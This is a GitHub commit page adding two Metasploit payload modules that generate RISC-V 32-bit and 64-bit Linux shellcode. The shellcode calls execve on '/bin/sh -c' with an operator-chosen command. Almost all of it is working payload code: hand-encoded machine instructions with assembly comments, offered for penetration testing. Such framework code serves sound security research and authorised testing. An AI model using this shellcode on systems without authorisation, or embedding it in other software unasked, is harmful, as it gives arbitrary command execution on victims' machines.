Skip to content

Commit 27ebde9

Browse files
bcolesbcoles
committed
Add Linux Execute Command 32-bit/64-bit RISC-V LE payloads
1 parent 5e1ecfc commit 27ebde9

File tree

2 files changed

+149
-0
lines changed

2 files changed

+149
-0
lines changed

‎modules/payloads/singles/linux/riscv32le/exec.rb‎

Lines changed: 74 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,74 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
CachedSize = 96
8+
9+
include Msf::Payload::Single
10+
include Msf::Payload::Linux
11+
12+
def initialize(info = {})
13+
super(
14+
merge_info(
15+
info,
16+
'Name' => 'Linux Execute Command',
17+
'Description' => 'Execute an arbitrary command',
18+
'Author' => [
19+
'modexp', # cmd.s execve RISC-V 64-bit shellcode
20+
'bcoles', # metasploit
21+
],
22+
'License' => BSD_LICENSE,
23+
'Platform' => 'linux',
24+
'Arch' => ARCH_RISCV32LE,
25+
'References' => [
26+
['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],
27+
['URL', 'https://github.com/odzhan/shellcode/blob/master/os/linux/riscv64/cmd.s'],
28+
]
29+
)
30+
)
31+
register_options([
32+
OptString.new('CMD', [ true, 'The command string to execute' ]),
33+
])
34+
end
35+
36+
#
37+
# Returns the command string to use for execution
38+
#
39+
def command_string
40+
datastore['CMD'] || ''
41+
end
42+
43+
def generate(_opts = {})
44+
shellcode =
45+
[0xfe010113].pack('V*') + # addi sp,sp,-32
46+
[0x0dd00893].pack('V*') + # li a7,221
47+
[0x6e696537].pack('V*') + # lui a0,0x6e696
48+
[0x22f50513].pack('V*') + # addi a0,a0,559 # 6e69622f <__global_pointer$+0x6e6848af>
49+
[0x00a12023].pack('V*') + # sw a0,0(sp)
50+
[0x00687537].pack('V*') + # lui a0,0x687
51+
[0x32f50513].pack('V*') + # addi a0,a0,815 # 68732f <__global_pointer$+0x6759af>
52+
[0x00a12223].pack('V*') + # sw a0,4(sp)
53+
[0x00010513].pack('V*') + # mv a0,sp
54+
[0x000065b7].pack('V*') + # lui a1,0x6
55+
[0x32d58593].pack('V*') + # addi a1,a1,813 # 632d <_start-0x9d27>
56+
[0x00b12423].pack('V*') + # sw a1,8(sp)
57+
[0x00810593].pack('V*') + # addi a1,sp,8
58+
[0x00000617].pack('V*') + # auipc a2,0x0
59+
[0x02460613].pack('V*') + # addi a2,a2,36 # 100ac <cmd>
60+
[0x00a12623].pack('V*') + # sw a0,12(sp)
61+
[0x00b12823].pack('V*') + # sw a1,16(sp)
62+
[0x00c12a23].pack('V*') + # sw a2,20(sp)
63+
[0x00012c23].pack('V*') + # sw zero,24(sp)
64+
[0x00c10593].pack('V*') + # addi a1,sp,12
65+
[0x00000613].pack('V*') + # li a2,0
66+
[0x00000073].pack('V*') + # ecall
67+
command_string + "\x00"
68+
69+
# align our shellcode to 4 bytes
70+
shellcode += "\x00" while shellcode.bytesize % 4 != 0
71+
72+
super.to_s + shellcode
73+
end
74+
end

‎modules/payloads/singles/linux/riscv64le/exec.rb‎

Lines changed: 75 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,75 @@
1+
##
2+
# This module requires Metasploit: https://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
module MetasploitModule
7+
CachedSize = 100
8+
9+
include Msf::Payload::Single
10+
include Msf::Payload::Linux
11+
12+
def initialize(info = {})
13+
super(
14+
merge_info(
15+
info,
16+
'Name' => 'Linux Execute Command',
17+
'Description' => 'Execute an arbitrary command',
18+
'Author' => [
19+
'modexp', # cmd.s execve RISC-V 64-bit shellcode
20+
'bcoles', # metasploit
21+
],
22+
'License' => BSD_LICENSE,
23+
'Platform' => 'linux',
24+
'Arch' => ARCH_RISCV64LE,
25+
'References' => [
26+
['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],
27+
['URL', 'https://github.com/odzhan/shellcode/blob/master/os/linux/riscv64/cmd.s'],
28+
]
29+
)
30+
)
31+
register_options([
32+
OptString.new('CMD', [ true, 'The command string to execute' ]),
33+
])
34+
end
35+
36+
#
37+
# Returns the command string to use for execution
38+
#
39+
def command_string
40+
datastore['CMD'] || ''
41+
end
42+
43+
def generate(_opts = {})
44+
shellcode =
45+
[0xfc010113].pack('V*') + # addi sp,sp,-64
46+
[0x0dd00893].pack('V*') + # li a7,221
47+
[0x34399537].pack('V*') + # lui a0,0x34399
48+
[0x7b75051b].pack('V*') + # addiw a0,a0,1975
49+
[0x00c51513].pack('V*') + # slli a0,a0,0xc
50+
[0x34b50513].pack('V*') + # addi a0,a0,843 # 3439934b <__global_pointer$+0x343879a3>
51+
[0x00d51513].pack('V*') + # slli a0,a0,0xd
52+
[0x22f50513].pack('V*') + # addi a0,a0,559
53+
[0x00a13023].pack('V*') + # sd a0,0(sp)
54+
[0x00010513].pack('V*') + # mv a0,sp
55+
[0x000065b7].pack('V*') + # lui a1,0x6
56+
[0x32d5859b].pack('V*') + # addiw a1,a1,813
57+
[0x00b13423].pack('V*') + # sd a1,8(sp)
58+
[0x00810593].pack('V*') + # addi a1,sp,8
59+
[0x00000617].pack('V*') + # auipc a2,0x0
60+
[0x02460613].pack('V*') + # addi a2,a2,36 # 100d4 <cmd>
61+
[0x00a13823].pack('V*') + # sd a0,16(sp)
62+
[0x00b13c23].pack('V*') + # sd a1,24(sp)
63+
[0x02c13023].pack('V*') + # sd a2,32(sp)
64+
[0x02013423].pack('V*') + # sd zero,40(sp)
65+
[0x01010593].pack('V*') + # addi a1,sp,16
66+
[0x00000613].pack('V*') + # li a2,0
67+
[0x00000073].pack('V*') + # ecall
68+
command_string + "\x00"
69+
70+
# align our shellcode to 4 bytes
71+
shellcode += "\x00" while shellcode.bytesize % 4 != 0
72+
73+
super.to_s + shellcode
74+
end
75+
end

0 commit comments

Comments
 (0)